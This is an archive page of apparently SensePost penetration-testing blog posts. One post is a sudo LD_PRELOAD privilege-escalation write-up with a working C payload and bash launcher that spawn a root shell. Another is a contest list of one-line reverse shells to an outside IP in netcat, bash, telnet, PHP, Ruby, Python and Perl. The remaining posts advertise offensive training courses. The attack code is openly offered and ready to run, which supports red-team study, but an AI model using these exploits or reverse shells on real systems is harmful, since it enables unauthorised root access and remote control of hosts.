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Wed, 28 Aug 2013

Something about sudo, Kingcope and re-inventing the wheel

Willems and I are currently on an internal assessment and have popped a couple hundred (thousand?) RHEL machines, which was trivial since they are all imaged. Anyhoo - long story short, we have a user which is allowed to make use of sudo for a few commands, such as reboot and service. I immediately thought it would be nice to turn this into a local root somehow. Service seemed promising and I had a looksy how it works. Whilst it does do sanitation of the library path it does not remove LD_PRELOAD. So if we could sneak LD_PRELOAD past sudo then all should be good ?


For lack of deeper understanding I googled around the issue and came across http://www.catonmat.net/blog/simple-ld-preload-tutorial which is a vanilla LD_PRELOAD example overiding glib's fopen() call. That sort of suited me well since I reckoned starting services will prolly read config files.


So after a little fiddling I came up with the following creature:



/* gcc -Wall -fPIC -shared -o myfopen.so myfopen.c */
/* http://www.catonmat.net/blog/simple-ld-preload-tutorial/ */


#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>


FILE *fopen(const char *path, const char *mode) {
printf("MAKE ME A SANDWICH\n");
if (access("/tmp/sandwich", F_OK) != -1)
{
unlink("/tmp/sandwich");
system("/bin/bash");
}
else
{
//printf("fake fopen: not active \n");
}
return NULL;
}

which could be invoked via



#!/bin/bash
touch /tmp/sandwich
sudo LD_PRELOAD=/home/george/Desktop/playground/ld_preload/myfopen.so /etc/init.d/ssh restart

Best thing was it sort of worked! Ugly but functioning...
While trying to work out the finer details, however, I came across a sploit Kingcope had written in 2008, which exploited exactly this issue! Apparently older sudos did not "Defaults env_reset" or "Defaults setenv" which makes the LD_PRELOAD possible. (This still applies to [mis]configurations which preserve the environment)
As always with Kingcope sploits it is very elegant and definitely worth a look.


On a side note: the header of his sploit says:



# http://www.exploit-db.com/exploits/7129/
#
#* Sudo <= 1.6.9p18 local r00t exploit
#* by Kingcope/2008/www.com-winner.com
#
# Most lame exploit EVER!
#
# Needs a special configuration in the sudoers file:
# --->>>>> "Defaults setenv" so environ vars are preserved :) <<<<<---
#
# May also need the current users password to be typed in
# So this exploit is UBERLAME!
# First Argument to this shell file: A program your current
# user is allowed to execute via sudo. sudo has to be in
# the path!!
# successfully tested on FreeBSD-7.0 and RedHat Linux
# I don't even know why I realease such stuffz
# I'M GONNA GRAB A COFFE NOW;HAVE PHUN !!!

so Kingcope considered the vuln UEBERLAME ... I don't know if I should be proud or sad for having found it five years later then....
Anyhoo, at this point I was already pretty invested in the thing and decided to see the re-invention of the wheel through. Kingcope's shared object was a lot slicker than mine, hooking into _init() rather than fopen() which makes it a lot more generic and elegant. He used unsetenv(LD_PRELOAD) to execute but once which is also a lot more elegant.


So I shamelessly stole from his sploit... I don't see the need for a suid shell stager and fancy execls when a simple system() does the job, but I am prolly missing several points =) So without further waffle here it is - its called sandwhich sploit as an homage to the classic XKCD sudo comic.




1 #!/bin/bash
2 #
3 # old/misconfigured sudo local root
4 #
5 # disclosed by Kingcope in 2008
6 # http://www.exploit-db.com/exploits/7129/
7 #
8 # "re-discovered" in 2013 by
9 # george@sensepost.com
10 #
11
12
13 echo
14 echo "[!] $0 - sudo un-sanitised environment sploit"
15 echo "[!] usage: $0 <program to run via sudo> "
16 echo
17
18
19 cat > /tmp/sandwich.c << _EOF
20 #include <stdio.h>
21 #include <stdlib.h>
22 #include <unistd.h>
23 #include <sys/types.h>
24
25 void _init()
26 {
27 if (!geteuid())
28 {
29 unsetenv("LD_PRELOAD");
30 setgid(0);
31 setuid(0);
32 unlink("/tmp/sandwich.so");
33 unlink("/tmp/sandwich.c");
34 system("/bin/bash");
35 }
36 }
37
38 _EOF
39
40
41 gcc -fPIC -shared -o /tmp/sandwich.so /tmp/sandwich.c -nostartfiles
42 sudo LD_PRELOAD=/tmp/sandwich.so $1
43

Tue, 11 Dec 2012

T-Shirt Shell Competition

For our internal hackathon, we wanted to produce some shirts. We ran a competition to see who could produce a reverse shell invocation most worthy of inclusion on a shirt. Here are the submissions, which may be instructive or useful. But first; the winning t-shirt design goes to Vlad (-islav, baby don't hurt me, don't hurt me, no more):



Funny story; the printer left out the decimal points between the IP, so we had to use a permanent marker to put them back. Oh, also, many of these were originally taken from somewhere else then modified, we don't claim the full idea as our own. Anyway, onto the shells!

Netcat — 18 chars


nc -e sh 1.0.0.1 1


Requires nc with -e support (unlikely to be on remote box by default).

Bash — 27 chars


sh>&/dev/tcp/1.0.0.1/8 0>&1


Requires bash with /dev/tcp support, not always there (e.g. RHEL). Vlad's winning contribution.

Telnet — 37 chars


mkfifo x&&telnet 1.0.0.1 8 0<x|sh 1>x


Will work on most systems, can replace telnet with nc to get 33 chars.

PHP — 56 chars


<?php $s=fsockopen("1.0.0.1",8);exec("sh<&3>&3 2>&3");?>


Requires PHP CLI. This one from Rogan.

Ruby — 73 chars


f=TCPSocket.open("1.0.0.1",8).to_i
exec sprintf("sh<&%d>&%d 2>&%d",f,f,f)


Need to invoke this with

ruby -rsocket small-rev.rb


which is a bit of a cheat for size. This was also taken from pentestmonkey

Python — 155 chars


import socket as x,os
s=x.socket(2,1)
s.connect(("1.0.0.1",8))
d=os.dup2
f=s.fileno()
d(f,0)
d(f,1)
os.system("sh")

This assumes you use unix line breaks. My personal favourite.

Perl - 121 chars


$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"1.0.0.1:8");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;

Invoke with
perl -MIO small-rev.pl

Elf - 133 chars


ELF??????????????T€4???????????4? ????????????????€?€ ??? ?????????1ÛSCSjjfX‰áÍ€—[h??fh fS‰ájfXPQW‰áCÍ€[™ 

[more]

Tue, 7 Aug 2012

Black Hat Training Classes Update

Hey All,

We're about locked and loaded down here in ZA - ready to tackle the looooong journey to Vegas for Black Hat. If you're headed to Black Hat but haven't yet booked training there's still time, so I thought I'd push out a brief update on what's still available from our stable of courses. As many of our courses have sold out we opened second classrooms and as a result have plenty of space to accommodate late comers!

Here's the deal:

1. "Cadet" is our intro course. We only offer it on the weekend (21st & 22nd) but its really popular so we've opened a 2nd classroom. Plenty of space available, so sign up!

2. "Bootcamp" is our novice course. We've opened up additional classrooms also, so we can accommodate at least 9 more people.

3. Our "Unplugged" Wifi course is sold out and we simply can't take any more people there unfortunately.

4. "BlackOps" is our post-exploitation course. It has sold really well this year, but we do still have a handful of seats available if you hurry.

5. "W^3" is our web hacking course. It only runs during the week (23rd & 24th) but we have a a nice spacious classroom so there are still plenty of seats available. Classic web hacking goodness.

6. "Combat" is our advanced CTF based training lab. It is an amazing course if you're already an experienced pentester. We keep the classroom sizes small, but we could possibly accommodate another 5 people on the weekend and maybe 10 people during the week.

If you need help selecting the right course, or getting registered, please contact us via training[at]sensepost[dot]com.

If you're based outside the US and won't be making Vegas this year, there's still hope! Check out these two other events where we'll be offering courses:

Thu, 2 Aug 2012

BlackOps – Post Exploitation Fun and Games

Brilliant, the client has decided to implement their own CMS and you've found a variable that's vulnerable to SQL injection. Starting up your favourite SQL exploitation tool, you upload a suitable web shell and fire up the browser. In an instant, you control that server, but do you really own the box?

Looking back at the major hacks of the last 18 months, attackers used a variety of techniques to obtain sensitive information. For the RSA hack, social engineering was used, allegedly consisting of a malicious Excel spreadsheet sent from a web master at a recruitment website. Once loaded, Poison Ivy was dropped on the host and the games began. Attackers started recon exercises, pivoting between hosts and finally exfiltrated the data (the rest is well-known and publicised). In the case of HBGary, attackers compromised their systems using a similar approach as the RSA attackers did: target an individual using social engineering using an earlier toehold to expand to a foothold. These types of attackers might have a fancy new name (Advanced Persistent Threats) but at the end of the day, they are using techniques that have been around for a while.

Owning a single host isn't the end of the journey, it's just the start.

At this year's 44Con, students will have the chance to learn how to take their offensive skills to the next level. Think of it as APT-style assessments.

Hacking By Numbers - BlackOps Edition will teach the next stage of the attack: lateral movement within a network, pivoting, and going after business relevant systems and data. Often, the juicier targets are buried deep inside the network, requiring complex tunnelling, evasion so as to not trigger alerts and finally, when you've accessed a target, ways to exfiltrate the data (spreadsheets via Facebook direct message, scp over a DNS tunnel, this can be fun).

The course looks at key areas of post-exploitation, and covers:

  • Working with big data on assessments
  • The difference between exploiting and owning a system
  • OSINT
  • Effective ways to tunnel, pivot and exfiltrate data without being noticed
  • Owning systems using client-side attacks and social engineering
  • Privilege escalation
At the end of the course, students will participate in a final exercise set in a semi-real world environment, where they will need to used what they've learned compromise a target organisation, escalate privileges and tunnel sensitive data out from the network.

This course is aimed at making you think differently. It's offensive security at its best. To join this course, visit our booking page.